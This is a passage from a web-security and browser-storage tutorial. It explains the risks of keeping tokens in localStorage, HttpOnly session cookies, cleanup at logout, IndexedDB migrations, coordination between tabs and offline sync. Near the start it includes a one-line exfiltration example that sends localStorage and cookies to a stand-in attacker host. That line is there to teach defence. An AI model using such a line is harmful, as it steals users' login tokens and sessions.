2. Every script on the page can read it. Not just your code: analytics, chat widgets, ad tags, every npm package in your bundle, and any script an attacker manages to inject. That last one is cross-site scripting (XSS)XSS (cross-site scripting)Injecting JavaScript into a page other users view (e.g. via a comment field), so it runs in their browser with their cookies and permissions., covered in OWASP Top 10 §04.
3. It outlives the session. On a shared or stolen laptop, the next person gets whatever you left there.
4. It can vanish (§11), so it can't be the only copy of anything important.

Tokens: the classic mistake

Many tutorials save a login token, usually a JWTJWT (bearer token)JSON Web Token: a signed text string (it usually starts with eyJ…) saying who you are and when it expires. Sent as Authorization: Bearer <token>; whoever holds it is treated as you., with localStorage.setItem("token", jwt) and send it on every API call as a bearer tokenBearer tokenA token that works for whoever holds (“bears”) it, like cash or a concert ticket. Sent as Authorization: Bearer <token>. No extra proof is needed, so it must never leak. (Authorization: Bearer <token>: whoever presents it is let in). It works, and it means one XSS bug hands every user's login to the attacker. See for yourself:

// one line hidden in a compromised npm package or an unescaped comment
new Image().src = "https://evil.example/steal?d=" +
  encodeURIComponent(JSON.stringify({ ...localStorage }) + " | " + document.cookie);

An Access tokenAccess tokenA short-lived credential (minutes) a client sends with API calls to prove it may do something. Often a JWT. The API checks it on every request; it is not meant to tell the client who the user is. in localStorage can be copied and used from the attacker's own machine until it expires. A session ID in an HttpOnlyHttpOnly (cookie flag)A cookie flag that hides the cookie from JavaScript: document.cookie won't show it. The browser still sends it with requests. It stops an injected script (XSS) from reading and stealing the session ID. cookie can't be read by any script. An injected script can still use the session while the tab is open (the browser attaches the cookie to its requests), but it can't take it away, and the damage stops when the tab closes or the session ends.

// after login
localStorage.setItem("token", data.accessToken);
// every request
fetch("/api/me", { headers: { Authorization: `Bearer ${localStorage.getItem("token")}` } });

// the server's login response sets:
//   Set-Cookie: __Host-sid=…; Path=/; HttpOnly; Secure; SameSite=Lax
// every request (same site): the cookie goes along automatically
fetch("/api/me");

(__Host- at the start of the cookie name is a prefix__Host- cookie prefixIf a cookie's name starts with __Host-, browsers accept it only when it is Secure, has Path=/ and has no Domain attribute. That pins it to exactly one host, so a sibling subdomain can't plant or overwrite it. the browser enforces: the cookie must be Secure, have Path=/ and no Domain, so no subdomain can set or overwrite it.)

If your single-page app must hold tokens for a third-party API, keep the access token in memory only (a variable, gone on reload) and get new ones through an HttpOnly cookie, or put a small server in between (a "backend for frontend"). Authentication §06 walks through both designs. Cookie-based sessions bring their own risk, cross-site request forgery, which SameSite and the defences in CORS & CSRF handle.

The never list

if (localStorage.isAdmin) showAdminMenu() is fine for deciding what to show. It's never fine for deciding what's allowed: the admin API must check the session on the server, every time.

Clean up on logout

Logging out should leave nothing behind for the next person. In the browser, clear what your app wrote; on the server, end the session and send Clear-Site-DataClear-Site-DataAn HTTP response header that tells the browser to delete everything it stores for your site: Clear-Site-Data: "cache", "cookies", "storage". Useful on logout., which asks the browser to wipe everything for your origin:

func logout(w http.ResponseWriter, r *http.Request) {
	// 1. delete the session on the server first (not shown)
	// 2. expire the session cookie
	http.SetCookie(w, &http.Cookie{
		Name: "__Host-sid", Value: "", Path: "/",
		MaxAge: -1, // ← negative = "delete it now" (Go sends Max-Age=0)
		Secure: true, HttpOnly: true, SameSite: http.SameSiteLaxMode,
	})
	// 3. ask the browser to wipe everything else this site stored
	w.Header().Set("Clear-Site-Data", `"cache", "cookies", "storage"`)
	w.WriteHeader(http.StatusNoContent)
}

Clear-Site-Data is supported in Chromium-based browsers and Firefox; check MDN for Safari's current support, which is why the JavaScript side clears things too. If several people can share one browser profile, also put the user ID in your storage keys or database name, so one user's leftovers can never be shown to the next.

Staff-level: storage in production

1. Version what you store

localStorage: store a version next to the data and migrate on read. A tiny shape change (renaming dark: true to theme: "dark") otherwise turns into a crash on every returning visitor's first load.

const KEY = "prefs";
const CURRENT = 2;

export function loadPrefs() {
  const saved = loadJSON(KEY, null);                 // §04's safe reader
  if (!saved) return { v: CURRENT, theme: "light" };
  if (saved.v === 1) return { v: 2, theme: saved.dark ? "dark" : "light" };   // ← v1 → v2
  if (saved.v === CURRENT) return saved;
  return { v: CURRENT, theme: "light" };              // unknown (newer?) shape: start fresh, don't crash
}

IndexedDB: the version number is built in. Each release that changes the structure bumps it, and the upgrade handler runs every step between the user's old version and the new one, whichever version they had (this is a database migrationDatabase migrationA versioned script that changes a database's structure — add a column, rename a table — so every environment's database can be updated the same way., client-side):

const req = indexedDB.open("notes-app", 3);
req.onupgradeneeded = (event) => {
  const db = req.result;
  const tx = req.transaction;               // the versionchange transaction
  switch (event.oldVersion) {               // no `break`: fall through every later step
    case 0:
      db.createObjectStore("notes", { keyPath: "id", autoIncrement: true });
    case 1:
      tx.objectStore("notes").createIndex("byTag", "tag");
    case 2:
      db.createObjectStore("outbox", { keyPath: "id", autoIncrement: true });
  }
};

2. Old tabs block upgrades

A version change can't happen while another tab still has the database open with the old version. The new tab's open() fires blocked and waits. Meanwhile the old tab gets a versionchange event, and it's polite to step aside:

db.onversionchange = () => {
  db.close();                                          // let the new version upgrade
  showBanner("This app was updated in another tab. Reload to continue.");
};
req.onblocked = () => showBanner("Close other tabs of this app to finish updating.");

In our test, the order was exactly: old tab gets versionchange, new tab gets blocked, old tab closes, then upgradeneeded runs. If the old tab ignores the event, the new one waits forever.

3. Many tabs, one app

Users open your app in several tabs. Two small APIs keep them from fighting:

// tell the other tabs something happened
const channel = new BroadcastChannel("notes");
channel.postMessage({ type: "saved", id: 7 });
channel.onmessage = (e) => { if (e.data.type === "saved") reloadList(); };

// make sure only ONE tab runs the sync, however many are open
await navigator.locks.request("sync-outbox", async () => {
  await flushOutbox();                                 // the lock is released when this resolves
});

BroadcastChannelBroadcastChannelA browser API for sending messages between tabs, frames and workers of the same origin: new BroadcastChannel("name"), then postMessage() and an onmessage handler. sends messages to every tab, frame and worker of the same origin, like the storage event (§04) but for any data. The Web Locks APIWeb Locks APInavigator.locks.request(name, callback): a lock shared by all tabs and workers of one origin, so only one of them runs the callback at a time — e.g. only one tab syncs. gives you a lock shared by all of them: a second tab asking for "sync-outbox" waits until the first is done, so two tabs never send the same change twice.

4. Offline writes: an outbox

An offline-firstOffline-firstDesigning an app so it reads and writes local storage first and syncs with the server when it can, instead of treating offline as an error. app writes locally first and syncs later. The pattern is an outboxOutbox (offline queue)A list, kept in local storage such as IndexedDB, of changes the user made while offline. The app sends them to the server, in order, once the network is back.: save the change and a "send this" entry in one transaction, then send entries in order when the network is there.

async function saveNote(note) {
  const tx = db.transaction(["notes", "outbox"], "readwrite");   // two stores, one transaction
  tx.objectStore("notes").put(note);
  tx.objectStore("outbox").add({ note, key: crypto.randomUUID() });   // ← idempotency key
  await done(tx);                                 // both saved, or neither (§05's helper)
  flushOutbox().catch(() => {});                  // try now; a failure just means "later"
}

async function flushOutbox() {
  const items = await reqP(db.transaction("outbox").objectStore("outbox").getAll());
  for (const item of items) {
    const res = await fetch("/api/notes", {
      method: "PUT",
      headers: { "Content-Type": "application/json", "Idempotency-Key": item.key },
      body: JSON.stringify(item.note),
    });
    if (!res.ok) throw new Error(`sync failed: ${res.status}`);   // stop here; keep the order
    const tx = db.transaction("outbox", "readwrite");
    tx.objectStore("outbox").delete(item.id);
    await done(tx);
  }
}

The Idempotency-Key matters: if the request reached the server but the reply was lost, the retry sends the same key, and the server can recognise it and not apply the change twice (Idempotency covers the server side). Call flushOutbox on startup, after each save, and on the online event. Chromium also has Background Sync, which lets a service worker retry after the page is closed; other browsers don't, so treat it as a bonus.

Conflicts (the same note edited on two devices while offline) are a design decision, not a storage feature: last write wins, per-field merges, or asking the user. Decide it before you ship the outbox.

5. Service workers need an escape hatch

A buggy service worker can keep serving a broken app from the cache, to every user, until it's replaced. Since the browser always re-checks sw.js itself, you can always ship a fix. Keep this "kill switch" version ready:

self.addEventListener("install", () => self.skipWaiting());     // don't wait (§09)
self.addEventListener("activate", (event) => {
  event.waitUntil((async () => {
    for (const name of await caches.keys()) await caches.delete(name);
    await self.registration.unregister();                         // remove the worker
    for (const client of await self.clients.matchAll({ type: "window" })) {
      client.navigate(client.url);                                // reload open tabs from the network
    }
  })());
});

Also: serve sw.js with Cache-Control: no-cache, never serve HTML cache-first, test updates with two tabs open (that's what users have), and watch the share of page loads served by each worker version in your analytics (Observability).

6. Things that will surprise you eventually

• Partitioned third-party storage. If your code runs inside someone else's page in an <iframe> (an embed, a payment form, a chat widget), its storage is partitionedStorage partitioningBrowsers storing an embedded site's data separately for each top-level site. A widget from video.com inside news.com and inside blog.com gets two separate localStorage areas, so it can't track you across them. by the top-level site in all major browsers now: a user logged in on widget.com is logged out inside news.com's embed. Third-party cookies are a moving target: Safari blocks them and Firefox partitions them by default, while Chrome, at the time of writing, still allows them by default after Google dropped its plan to phase them out. Don't build on them (CORS & CSRF §05). The Storage Access API lets an embed ask the user for its unpartitioned storage.
• Storage that throws. Users block storage per site; some privacy modes and older browsers (Safari 10 and earlier, in private windows) threw on every setItem. Feature-detect, wrap calls in try/catch, and make storage an enhancement, not a requirement.
• Bigger needs. For a real local database (SQL queries, many megabytes of rows), teams now run SQLite compiled to WebAssembly (a compact, fast code format browsers can run next to JavaScript) on top of the origin private file systemOrigin private file system (OPFS)A private, sandboxed file system per site (navigator.storage.getDirectory()). Fast byte-level file access, often used to run SQLite in the browser. The user can't see these files. (OPFS), usually inside a Web Worker. Chromium also has Storage Buckets, which split a site's storage into separately evictable groups; it's Chromium-only at the time of writing.

Pitfalls gallery

Each of these has shipped to production somewhere. Most are one line to fix once you know them.

Check yourself

Commit to an answer before you click. Each explanation points back to the section that covers it.

localStorage.setItem("cart", [1, 2, 3]);
const cart = localStorage.getItem("cart");

const tx = db.transaction("notes", "readwrite");
const store = tx.objectStore("notes");
const res = await fetch("/api/notes/7");
store.put(await res.json());

Cheat sheet